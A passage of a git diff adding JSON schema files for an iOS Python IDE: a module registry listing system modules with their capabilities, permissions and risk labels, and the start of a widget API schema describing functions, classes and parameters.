"sensitive_read", + "requiresUserAction": true, + "failureStates": ["denied", "unavailable", "empty"] + }, + "permission": { + "importName": "permission", + "category": "systemServices", + "docId": "permission-module", + "docFile": "permission-module.md", + "agentDocId": "permission-module-agent", + "agentDocFile": "permission-module-agent.md", + "capabilities": ["permission_status", "permission_request"], + "permissions": ["biometric", "bluetooth", "calendar", "camera", "contacts", "health", "location", "microphone", "motion", "nfc", "notifications", "photos", "reminders", "speech"], + "risk": "permission_prompt", + "requiresUserAction": true, + "failureStates": ["denied", "restricted", "unknown_key"] + }, + "storage": { + "importName": "storage", + "category": "systemServices", + "docId": "storage-module", + "docFile": "storage-module.md", + "agentDocId": "storage-module-agent", + "agentDocFile": "storage-module-agent.md", + "capabilities": ["user_defaults", "json_values"], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": ["missing_key", "decode_error"] + }, + "database": { + "importName": "database", + "category": "systemServices", + "docId": "database-module", + "docFile": "database-module.md", + "agentDocId": "database-module-agent", + "agentDocFile": "database-module-agent.md", + "capabilities": ["sqlite", "collections", "transactions"], + "permissions": [], + "risk": "local_persistence", + "requiresUserAction": false, + "failureStates": ["missing_record", "query_error"] + }, + "keychain": { + "importName": "keychain", + "category": "systemServices", + "docId": "keychain-module", + "docFile": "keychain-module.md", + "agentDocId": "keychain-module-agent", + "agentDocFile": "keychain-module-agent.md", + "capabilities": ["secure_password_storage", "service_listing"], + "permissions": [], + "risk": "secret_storage", + "requiresUserAction": false, + "failureStates": ["missing_secret", "os_error"] + }, + "clipboard": { + "importName": "clipboard", + "category": "systemServices", + "docId": "clipboard-module", + "docFile": "clipboard-module.md", + "agentDocId": "clipboard-module-agent", + "agentDocFile": "clipboard-module-agent.md", + "capabilities": ["read_clipboard", "write_clipboard", "clear_clipboard"], + "permissions": [], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": ["empty"] + }, + "console": { + "importName": "console", + "category": "systemServices", + "docId": "console-module", + "docFile": "console-module.md", + "agentDocId": "console-module-agent", + "agentDocFile": "console-module-agent.md", + "capabilities": ["hud", "alerts", "input_dialogs"], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": ["cancelled"] + }, + "dialogs": { + "importName": "dialogs", + "category": "systemServices", + "docId": "dialogs-module", + "docFile": "dialogs-module.md", + "agentDocId": "dialogs-module-agent", + "agentDocFile": "dialogs-module-agent.md", + "capabilities": ["native_dialogs", "forms", "pickers"], + "permissions": [], + "risk": "ui_prompt", + "requiresUserAction": true, + "failureStates": ["cancelled"] + }, + "notification": { + "importName": "notification", + "category": "systemServices", + "docId": "notification-module", + "docFile": "notification-module.md", + "agentDocId": "notification-module-agent", + "agentDocFile": "notification-module-agent.md", + "capabilities": ["local_notifications", "badges", "scheduled_alerts"], + "permissions": ["notifications"], + "risk": "system_write", + "requiresUserAction": true, + "failureStates": ["denied", "scheduled_conflict"] + }, + "calendar_events": { + "importName": "calendar_events", + "category": "systemServices", + "docId": "calendar-events-module", + "docFile": "calendar-events-module.md", + "agentDocId": "calendar-events-module-agent", + "agentDocFile": "calendar-events-module-agent.md", + "capabilities": ["calendar_read", "calendar_write", "reminders"], + "permissions": ["calendar", "reminders"], + "risk": "permissioned_write", + "requiresUserAction": true, + "failureStates": ["denied", "cancelled", "not_found"] + }, + "contacts": { + "importName": "contacts", + "category": "systemServices", + "docId": "contacts-module", + "docFile": "contacts-module.md", + "agentDocId": "contacts-module-agent", + "agentDocFile": "contacts-module-agent.md", + "capabilities": ["contacts_read", "contacts_picker", "contacts_edit"], + "permissions": ["contacts"], + "risk": "sensitive_read_write", + "requiresUserAction": true, + "failureStates": ["denied", "cancelled", "not_found"] + }, + "live_activity": { + "importName": "live_activity", + "category": "systemServices", + "docId": "live-activity-module", + "docFile": "live-activity-module.md", + "agentDocId": "live-activity-module-agent", + "agentDocFile": "live-activity-module-agent.md", + "capabilities": ["dynamic_island", "lock_screen_activity"], + "permissions": [], + "risk": "system_write", + "requiresUserAction": true, + "failureStates": ["unsupported", "activity_not_found"] + }, + "nfc": { + "importName": "nfc", + "category": "systemServices", + "docId": "nfc-module", + "docFile": "nfc-module.md", + "agentDocId": "nfc-module-agent", + "agentDocFile": "nfc-module-agent.md", + "capabilities": ["ndef_scan", "ndef_write"], + "permissions": ["nfc"], + "risk": "hardware_session", + "requiresUserAction": true, + "failureStates": ["unsupported", "cancelled", "scan_failed"] + }, + "photos": { + "importName": "photos", + "category": "mediaVision", + "docId": "photos-module", + "docFile": "photos-module.md", + "agentDocId": "photos-module-agent", + "agentDocFile": "photos-module-agent.md", + "capabilities": ["photo_picker", "camera_capture", "photo_save", "asset_read"], + "permissions": ["photos", "camera"], + "risk": "user_content", + "requiresUserAction": true, + "failureStates": ["denied", "cancelled", "empty", "unavailable"] + }, + "avplayer": { + "importName": "avplayer", + "category": "mediaVision", + "docId": "avplayer-module", + "docFile": "avplayer-module.md", + "agentDocId": "avplayer-module-agent", + "agentDocFile": "avplayer-module-agent.md", + "capabilities": ["audio_video_load", "playback_control", "native_player"], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": ["load_failed", "unsupported_url"] + }, + "sound": { + "importName": "sound", + "category": "mediaVision", + "docId": "sound-module", + "docFile": "sound-module.md", + "agentDocId": "sound-module-agent", + "agentDocFile": "sound-module-agent.md", + "capabilities": ["sound_effects", "audio_player"], + "permissions": [], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": ["load_failed", "unsupported_format"] + }, + "speech": { + "importName": "speech", + "category": "mediaVision", + "docId": "speech-module", + "docFile": "speech-module.md", + "agentDocId": "speech-module-agent", + "agentDocFile": "speech-module-agent.md", + "capabilities": ["text_to_speech", "voice_listing"], + "permissions": ["speech"], + "risk": "media_playback", + "requiresUserAction": true, + "failureStates": ["unavailable", "voice_not_found"] + }, + "vision": { + "importName": "vision", + "category": "mediaVision", + "docId": "vision-module", + "docFile": "vision-module.md", + "agentDocId": "vision-module-agent", + "agentDocFile": "vision-module-agent.md", + "capabilities": ["ocr"], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": ["empty_image", "recognition_failed"] + }, + "vision_helper": { + "importName": "vision_helper", + "category": "mediaVision", + "docId": "vision-helper-module", + "docFile": "vision-helper-module.md", + "agentDocId": "vision-helper-module-agent", + "agentDocFile": "vision-helper-module-agent.md", + "capabilities": ["face_detection", "barcode_detection", "rectangle_detection", "classification"], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": ["empty_image", "recognition_failed"] + }, + "coreml": { + "importName": "coreml", + "category": "mediaVision", + "docId": "coreml-module", + "docFile": "coreml-module.md", + "agentDocId": "coreml-module-agent", + "agentDocFile": "coreml-module-agent.md", + "capabilities": ["model_listing", "model_loading", "image_prediction"], + "permissions": [], + "risk": "local_ml", + "requiresUserAction": false, + "failureStates": ["model_not_found", "prediction_failed"] + }, + "network": { + "importName": "network", + "category": "networkData", + "docId": "network-module", + "docFile": "network-module.md", + "agentDocId": "network-module-agent", + "agentDocFile": "network-module-agent.md", + "capabilities": ["http", "download", "connectivity"], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": ["offline", "timeout", "http_error"] + }, + "websocket": { + "importName": "websocket", + "category": "networkData", + "docId": "websocket-module", + "docFile": "websocket-module.md", + "agentDocId": "websocket-module-agent", + "agentDocFile": "websocket-module-agent.md", + "capabilities": ["websocket_connect", "send", "receive", "close"], + "permissions": [], + "risk": "network", + "requiresUserAction": false, + "failureStates": ["offline", "timeout", "closed"] + }, + "bluetooth": { + "importName": "bluetooth", + "category": "networkData", + "docId": "bluetooth-module", + "docFile": "bluetooth-module.md", + "agentDocId": "bluetooth-module-agent", + "agentDocFile": "bluetooth-module-agent.md", + "capabilities": ["ble_scan", "ble_connect", "read", "write"], + "permissions": ["bluetooth"], + "risk": "hardware_session", + "requiresUserAction": true, + "failureStates": ["unsupported", "denied", "not_found", "disconnected"] + }, + "background": { + "importName": "background", + "category": "networkData", + "docId": "background-module", + "docFile": "background-module.md", + "agentDocId": "background-module-agent", + "agentDocFile": "background-module-agent.md", + "capabilities": ["background_task", "remaining_time", "app_state"], + "permissions": [], + "risk": "background_execution", + "requiresUserAction": true, + "failureStates": ["expired", "unavailable"] + }, + "c_extensions": { + "importName": null, + "category": "networkData", + "docId": "c-extensions-module", + "docFile": "c-extensions-module.md", + "agentDocId": "c-extensions-module-agent", + "agentDocFile": "c-extensions-module-agent.md", + "capabilities": ["bundled_extension_inventory", "ios_compatibility_guidance"], + "permissions": [], + "risk": "reference_only", + "requiresUserAction": false, + "failureStates": ["unsupported_package"] + }, + "shortcuts": { + "importName": "shortcuts", + "category": "automationExtensions", + "docId": "shortcuts-module", + "docFile": "shortcuts-module.md", + "agentDocId": "shortcuts-module-agent", + "agentDocFile": "shortcuts-module-agent.md", + "capabilities": ["run_shortcut", "open_url", "open_settings"], + "permissions": [], + "risk": "external_automation", + "requiresUserAction": true, + "failureStates": ["cancelled", "shortcut_not_found", "url_failed"] + }, + "objc_util": { + "importName": "objc_util", + "category": "automationExtensions", + "docId": "objc-util-module", + "docFile": "objc-util-module.md", + "agentDocId": "objc-util-module-agent", + "agentDocFile": "objc-util-module-agent.md", + "capabilities": ["objective_c_runtime", "framework_bridge"], + "permissions": [], + "risk": "advanced_bridge", + "requiresUserAction": false, + "failureStates": ["selector_missing", "framework_unavailable"] + }, + "keyboard": { + "importName": "keyboard", + "category": "automationExtensions", + "docId": "keyboard-module", + "docFile": "keyboard-module.md", + "agentDocId": "keyboard-module-agent", + "agentDocFile": "keyboard-module-agent.md", + "capabilities": ["toolbar_buttons", "insert_text", "set_buttons"], + "permissions": [], + "risk": "editor_integration", + "requiresUserAction": true, + "failureStates": ["unavailable", "invalid_button"] + } + } +} diff --git a/docs/schemas/widget_api_schema.json b/docs/schemas/widget_api_schema.json new file mode 100644 index 0000000..b5ac160 --- /dev/null +++ b/docs/schemas/widget_api_schema.json @@ -0,0 +1,3920 @@ +{ + "schema": "pythonide.widget.api.v1", + "version": 1, + "module": "widget", + "status": "public", + "description": "Canonical public API contract for PythonIDE semantic Widget primitives, low-level DSL escape hatches, Agent generation, docs, and validation.", + "families": [ + "small", + "medium", + "large", + "circular", + "rectangular", + "inline" + ], + "types": { + "ColorLike": "string color or [lightColor, darkColor]", + "WidgetBackground": "system, clear/transparent/none, ColorLike, or {'gradient': [color, color], 'direction': string}", + "Frame": "dictionary with width, height, minWidth, maxWidth, minHeight, maxHeight, alignment", + "NumberList": "list[int|float]", + "Family": "small|medium|large|circular|rectangular|inline", + "LayoutMode": "auto|fixed", + "RichTextPart": "string, (text, color[, weight[, size]]), or {text/content, color, weight, size, design}", + "PathPoint": "(x, y), [x, y], or {'x': x, 'y': y}; relative 0..1 by default" + }, + "moduleApi": { + "constants": { + "SMALL": { + "type": "Family", + "value": "small", + "public": true + }, + "MEDIUM": { + "type": "Family", + "value": "medium", + "public": true + }, + "LARGE": { + "type": "Family", + "value": "large", + "public": true + }, + "CIRCULAR": { + "type": "Family", + "value": "circular", + "public": true + }, + "RECTANGULAR": { + "type": "Family", + "value": "rectangular", + "public": true + }, + "INLINE": { + "type": "Family", + "value": "inline", + "public": true + } + }, + "runtimeValues": { + "family": { + "type": "Family", + "public": true, + "agentRecommended": true + }, + "params": { + "type": "object", + "public": true, + "agentRecommended": true + }, + "storage": { + "type": "object", + "public": true, + "agentUseWithCare": true + } + }, + "functions": { + "show": { + "public": true, + "status": "compatibility", + "agentHidden": true, + "purpose": "quick title/value/subtitle/progress widget output", + "parameters": [ + { + "name": "title", + "type": "str", + "required": true + }, + { + "name": "value", + "type": "str", + "default": "" + }, + { + "name": "subtitle", + "type": "str", + "default": "" + }, + { + "name": "progress", + "type": "float|null", + "keywordOnly": true, + "default": null + }, + { + "name": "color", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "icon", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "rows", + "type": "list[dict]|null", + "keywordOnly": true, + "default": null + }, + { + "name": "display_type", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "style", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "background", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "text_color", + "type": "str|null", + "keywordOnly": true, + "default": null + } + ], + "notes": [ + "Use only for throwaway quick cards. For generated or user-facing widgets prefer Widget(style='clean') with semantic primitives." + ] + }, + "save_image": { + "public": true, + "agentRecommended": true, + "parameters": [ + { + "name": "source", + "type": "file path|http(s) URL|bytes", + "required": true + }, + { + "name": "name", + "type": "str", + "required": true + } + ], + "returns": "str" + }, + "preview": { + "public": true, + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "family", + "type": "Family|null", + "default": null + } + ], + "returns": "Family" + }, + "reload_user_widgets": { + "public": true, + "status": "compatibility", + "agentHidden": true, + "parameters": [] + }, + "reload_test_widgets": { + "public": true, + "status": "compatibility", + "agentHidden": true, + "parameters": [] + }, + "family_value": { + "public": true, + "agentRecommended": true, + "parameters": [ + { + "name": "default", + "type": "Any", + "default": null + }, + { + "name": "**values", + "type": "dict[Family|alias, Any]" + } + ], + "returns": "Any" + }, + "history": { + "public": true, + "agentRecommended": true, + "parameters": [ + { + "name": "key", + "type": "str", + "required": true + }, + { + "name": "value", + "type": "Any", + "default": null + }, + { + "name": "limit", + "type": "int", + "default": 7 + }, + { + "name": "bucket", + "type": "str|null", + "keywordOnly": true, + "default": "day" + }, + { + "name": "default", + "type": "Any", + "keywordOnly": true, + "default": null + } + ], + "returns": "list|Any" + }, + "cache_json": { + "public": true, + "agentRecommended": true, + "parameters": [ + { + "name": "url", + "type": "str", + "required": true + }, + { + "name": "ttl", + "type": "float|null", + "keywordOnly": true, + "default": 3600 + }, + { + "name": "default", + "type": "Any", + "keywordOnly": true, + "default": null + }, + { + "name": "params", + "type": "dict|null", + "keywordOnly": true, + "default": null + }, + { + "name": "headers", + "type": "dict[str,str]|null", + "keywordOnly": true, + "default": null + }, + { + "name": "key", + "type": "str|null", + "keywordOnly": true, + "default": null + }, + { + "name": "timeout", + "type": "float", + "keywordOnly": true, + "default": 8 + } + ], + "returns": "Any" + }, + "schema": { + "public": true, + "agentHidden": true, + "parameters": [], + "returns": "dict", + "notes": [ + "Full runtime schema. Agent generation should use agent_schema() instead." + ] + }, + "agent_schema": { + "public": true, + "agentRecommended": true, + "parameters": [], + "returns": "dict", + "notes": [ + "Agent-visible schema projection. Excludes low-level DSL and compatibility internals." + ] + }, + "validate_layout": { + "public": true, + "agentRecommended": true, + "parameters": [ + { + "name": "layout", + "type": "dict|Widget", + "required": true + }, + { + "name": "family", + "type": "Family|null", + "default": null + } + ], + "returns": "dict" + } + } + }, + "classes": { + "Widget": { + "public": true, + "agentRecommended": true, + "constructor": { + "parameters": [ + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "style", + "type": "str|null", + "keywordOnly": true, + "default": null, + "status": "public" + }, + { + "name": "layout", + "type": "LayoutMode", + "keywordOnly": true, + "default": "auto", + "status": "internal" + } + ] + }, + "methods": { + "title": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "headline": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "subheadline": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "caption": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "body": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "label": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "detail": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "footnote": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "note": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + } + ] + }, + "value": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "subtitle", + "type": "str|null", + "default": null + } + ] + }, + "number": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "subtitle", + "type": "str|null", + "default": null + } + ] + }, + "currency": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "symbol", + "type": "str", + "default": "¥" + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "digits", + "type": "int", + "default": 2 + } + ] + }, + "percent": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "digits", + "type": "int", + "default": 0 + }, + { + "name": "unit", + "type": "str", + "default": "%" + } + ] + }, + "change": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "primary", + "type": "str|int|float", + "required": true + }, + { + "name": "secondary", + "type": "str|int|float|null", + "default": null + }, + { + "name": "direction", + "type": "up|down|neutral|null", + "default": null + } + ] + }, + "symbol": { + "node": "icon", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "name", + "type": "str", + "required": true + } + ] + }, + "sf_symbol": { + "node": "icon", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "name", + "type": "str", + "required": true + } + ] + }, + "badge": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "text", + "type": "str|int|float", + "required": true + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "tone", + "type": "str", + "default": "accent" + }, + { + "name": "style", + "type": "plain|soft", + "default": "plain" + } + ] + }, + "status": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "text", + "type": "str|int|float", + "required": true + }, + { + "name": "tone", + "type": "str", + "default": "neutral" + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "style", + "type": "plain|soft", + "default": "plain" + } + ] + }, + "tag": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "text", + "type": "str|int|float", + "required": true + }, + { + "name": "tone", + "type": "str", + "default": "neutral" + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "style", + "type": "plain|soft", + "default": "plain" + } + ] + }, + "pill": { + "node": "text", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "text", + "type": "str|int|float", + "required": true + }, + { + "name": "tone", + "type": "str", + "default": "accent" + }, + { + "name": "icon", + "type": "str|null", + "default": null + } + ] + }, + "metric": { + "node": "hstack", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "label", + "type": "str|int|float", + "required": true + }, + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "tone", + "type": "str|null", + "default": null + }, + { + "name": "style", + "type": "plain|soft|prominent", + "default": "plain" + } + ] + }, + "kpi": { + "node": "hstack", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "label", + "type": "str|int|float", + "required": true + }, + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "tone", + "type": "str|null", + "default": null + }, + { + "name": "style", + "type": "soft|plain|prominent", + "default": "prominent" + } + ] + }, + "stat": { + "node": "hstack", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "label", + "type": "str|int|float", + "required": true + }, + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "tone", + "type": "str|null", + "default": null + }, + { + "name": "style", + "type": "plain|soft|prominent", + "default": "plain" + } + ] + }, + "pair": { + "node": "hstack", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "label", + "type": "str|int|float", + "required": true + }, + { + "name": "value", + "type": "str|int|float", + "required": true + }, + { + "name": "unit", + "type": "str|null", + "default": null + }, + { + "name": "icon", + "type": "str|null", + "default": null + }, + { + "name": "tone", + "type": "str|null", + "default": null + } + ] + }, + "line": { + "node": "lineChart", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "trend": { + "node": "lineChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "area": { + "node": "lineChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "spark": { + "node": "lineChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "bar": { + "node": "barChart", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "bars": { + "node": "barChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "data", + "type": "NumberList", + "required": true + }, + { + "name": "labels", + "type": "list[str|int|float]|null", + "default": null + }, + { + "name": "colors", + "type": "list[ColorLike]|null", + "default": null + } + ] + }, + "ring": { + "node": "ringChart", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + } + ] + }, + "donut": { + "node": "ringChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + } + ] + }, + "radial": { + "node": "ringChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + } + ] + }, + "meter": { + "node": "ringChart", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "label", + "type": "str|null", + "default": null + } + ] + }, + "progress_bar": { + "node": "progress", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "value", + "type": "float", + "required": true + }, + { + "name": "total", + "type": "float", + "default": 1.0 + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "height", + "type": "float|null", + "default": null + }, + { + "name": "track_color", + "type": "ColorLike|null", + "default": null + } + ] + }, + "row": { + "node": "hstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + } + ] + }, + "column": { + "node": "vstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + } + ] + }, + "layer": { + "node": "zstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "align", + "type": "str", + "default": "center" + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + } + ] + }, + "surface": { + "node": "card", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "role", + "type": "panel|plain|clear|str", + "default": "panel" + }, + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "background", + "type": "WidgetBackground|null", + "default": null + }, + { + "name": "corner_radius", + "type": "float|null", + "default": null + }, + { + "name": "border_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "border_width", + "type": "float|null", + "default": null + }, + { + "name": "shadow_color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "shadow_radius", + "type": "float|null", + "default": null + } + ] + }, + "section": { + "node": "vstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "title", + "type": "str|int|float|null", + "default": null + }, + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "subtitle", + "type": "str|int|float|null", + "default": null + }, + { + "name": "style", + "type": "card|soft|group|null", + "default": null, + "agentHidden": true + } + ] + }, + "list": { + "node": "vstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "items", + "type": "list[str|tuple|dict]", + "required": true + }, + { + "name": "title", + "type": "str|int|float|null", + "default": null + }, + { + "name": "limit", + "type": "int|null", + "default": null + }, + { + "name": "empty_text", + "type": "str|int|float|null", + "default": null + }, + { + "name": "dividers", + "type": "bool", + "default": false + } + ] + }, + "overlay": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true, + "parameters": [ + { + "name": "slot", + "type": "str", + "default": "center" + }, + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + } + ] + }, + "region": { + "node": "vstack", + "status": "public", + "container": true, + "agentRecommended": true, + "parameters": [ + { + "name": "slot", + "type": "str", + "default": "center" + }, + { + "name": "spacing", + "type": "float|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + } + ] + }, + "top": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "top_leading": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "top_trailing": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "leading": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "center": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "trailing": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "bottom": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "bottom_leading": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "bottom_trailing": { + "node": "vstack", + "status": "compatibility", + "container": true, + "agentHidden": true + }, + "text": { + "node": "text", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "content", + "type": "str|int|float", + "required": true + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "weight", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + }, + { + "name": "max_lines", + "type": "int|null", + "default": null + }, + { + "name": "design", + "type": "str|null", + "default": null + }, + { + "name": "font_width", + "type": "str|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null + }, + { + "name": "minimum_scale_factor", + "type": "float|null", + "default": null + } + ], + "agentRules": [ + "Use max_lines for labels longer than 12 characters.", + "Use minimum_scale_factor for important single-line values." + ] + }, + "rich_text": { + "node": "richText", + "status": "public", + "agentRecommended": true, + "parameters": [ + { + "name": "parts", + "type": "list[RichTextPart]", + "required": true + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "weight", + "type": "str|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "align", + "type": "str|null", + "default": null + }, + { + "name": "max_lines", + "type": "int|null", + "default": null + }, + { + "name": "design", + "type": "str|null", + "default": null + }, + { + "name": "font_width", + "type": "str|null", + "default": null + }, + { + "name": "opacity", + "type": "float|null", + "default": null + }, + { + "name": "padding", + "type": "float|null", + "default": null + }, + { + "name": "frame", + "type": "Frame|null", + "default": null, + "agentHidden": true + }, + { + "name": "minimum_scale_factor", + "type": "float|null", + "default": null + } + ], + "agentRules": [ + "Use rich_text when one logical line needs multiple colors or weights without increasing node count." + ] + }, + "icon": { + "node": "icon", + "status": "compatibility", + "agentHidden": true, + "parameters": [ + { + "name": "name", + "type": "str", + "required": true + }, + { + "name": "size", + "type": "float|null", + "default": null + }, + { + "name": "color", + "type": "ColorLike|null", + "default": null + }, + { + "name": "weight", + "type": "str|null", + "default": null + }, + { + "name": 